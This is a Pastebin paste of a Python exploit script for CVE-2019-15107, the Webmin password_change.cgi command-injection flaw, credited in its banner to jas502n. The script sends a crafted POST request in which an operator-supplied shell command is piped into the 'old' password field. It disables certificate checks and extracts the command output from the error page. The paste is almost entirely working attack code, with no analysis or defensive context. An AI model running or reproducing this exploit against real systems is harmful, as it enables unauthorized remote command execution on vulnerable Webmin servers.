Advertisement
Falexom

Untitled

Nov 21st, 2023
884
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.36 KB | Cybersecurity | 0 0
  1. import requests
  2. import re
  3. import requests.packages.urllib3
  4. requests.packages.urllib3.disable_warnings()
  5. import sys
  6.  
  7.  
  8. banner ='''
  9. _______           _______       _______  _______  __     _____       __    _______  __    _______  ______
  10. (  ____ \|\    /|(  ____ \    / ___   )(  __   )/  \  / ___ \    /  \ (  ____ \/  \ (  __   )/ ___  \
  11. | (    \/| )   ( || (    \/     \/   )  || (  )  |\/) ) ( (   ) )    \/) ) | (    \/\/) ) | (  )  |\/   )  )
  12. | |      | |   | || (__             /   )| | /   |  | | ( (___) |      | | | (____    | | | | /   |    /  /
  13. | |      ( (   ) )|  __)          _/   / | (/ /) |  | |  \____  |      | | (_____ \  | | | (/ /) |   /  /
  14. | |       \ \_/ / | (            /   _/  |   / | |  | |       ) |      | |       ) )  | | |   / | |  /  /
  15. | (____/\ \  /  | (____/\    (   (__/\|  (__) |__) (_/\____) )    __) (_/\____) )__) (_|  (__) | /  /
  16. (_______/   \_/   (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/
  17.                          (_____)                              (_____)
  18.                                     python By jas502n
  19.  
  20. '''
  21. print(banner)
  22.  
  23. def CVE_2019_15107(url, cmd):
  24.     vuln_url = url + "/password_change.cgi"
  25.     headers = {
  26.     'Accept-Encoding': "gzip, deflate",
  27.     'Accept': "*/*",
  28.     'Accept-Language': "en",
  29.     'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
  30.     'Connection': "close",
  31.     'Cookie': "redirect=1; testing=1; sid=x; sessiontest=1",
  32.     'Referer': "%s/session_login.cgi"%url,
  33.     'Content-Type': "application/x-www-form-urlencoded",
  34.     'Content-Length': "60",
  35.     'cache-control': "no-cache"
  36.     }
  37.     payload="user=rootxx&pam=&expired=2&old=test|%s&new1=test2&new2=test2" % cmd
  38.     r = requests.post(url=vuln_url, headers=headers, data=payload, verify=False)
  39.     if r.status_code == 200 and b"The current password is " in r.content:
  40.         print("\nvuln_url = %s" % vuln_url)
  41.         m = re.search(r"<center><h3>Failed to change password : The current password is incorrect(.*)</h3></center>", r.content.decode("UTF-8"), re.DOTALL)
  42.         cmd_result = m.group(1)
  43.         print("\nCommand Result = %s" % cmd_result)
  44.     else:
  45.         print("No Vuln Exit!")
  46.  
  47.  
  48. if __name__ == "__main__":
  49.     # url = "https://10.10.20.166:10000"
  50.     url = sys.argv[1]
  51.     cmd = sys.argv[2]
  52.     CVE_2019_15107(url, cmd)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement